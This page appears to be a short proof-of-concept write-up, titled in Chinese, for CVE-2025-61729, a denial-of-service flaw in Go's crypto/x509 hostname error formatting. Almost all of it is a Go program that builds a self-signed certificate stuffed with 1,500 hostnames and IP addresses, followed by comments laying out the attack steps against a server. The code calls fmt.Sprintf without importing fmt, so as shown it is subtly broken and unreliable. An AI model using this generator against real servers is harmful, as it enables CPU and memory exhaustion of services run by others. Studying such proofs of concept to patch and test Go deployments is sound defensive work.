CVE-2025-61729 Go语言HostnameError资源耗尽漏洞

// CVE-2025-61729 PoC - Malicious Certificate Resource Exhaustion // This PoC demonstrates generating a certificate with excessive hostnames // to trigger quadratic runtime in HostnameError.Error() package main import ( "crypto/rand" "crypto/rsa" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "math/big" "net" "time" ) func generateMaliciousCertificate() { // Generate RSA private key privateKey, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { panic(err) } // Create a certificate with excessive hostnames (1000+) // This will cause quadratic runtime when Error() is called var largeIPAddresses []net.IP var largeDNSNames []string // Generate 1500 hostnames to trigger resource exhaustion for i := 0; i < 1500; i++ { largeDNSNames = append(largeDNSNames, fmt.Sprintf("malicious-hostname-%d.example.com", i)) largeIPAddresses = append(largeIPAddresses, net.ParseIP(fmt.Sprintf("192.168.%d.%d", i/256, i%256))) } template := x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{ Organization: []string{"Malicious Org"}, }, NotBefore: time.Now(), NotAfter: time.Now().Add(365 * 24 * time.Hour), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, DNSNames: largeDNSNames, IPAddresses: largeIPAddresses, } certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &privateKey.PublicKey, privateKey) if err != nil { panic(err) } certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) println(string(certPEM)) } func main() { generateMaliciousCertificate() } // Attack simulation - how the vulnerability is triggered: // 1. Attacker crafts a certificate with 1500+ hostnames // 2. Server receives the malicious certificate // 3. crypto/x509 validates the certificate // 4. HostnameError.Error() is called with no limit // 5. String concatenation causes O(n²) runtime // 6. Server experiences high CPU/memory consumption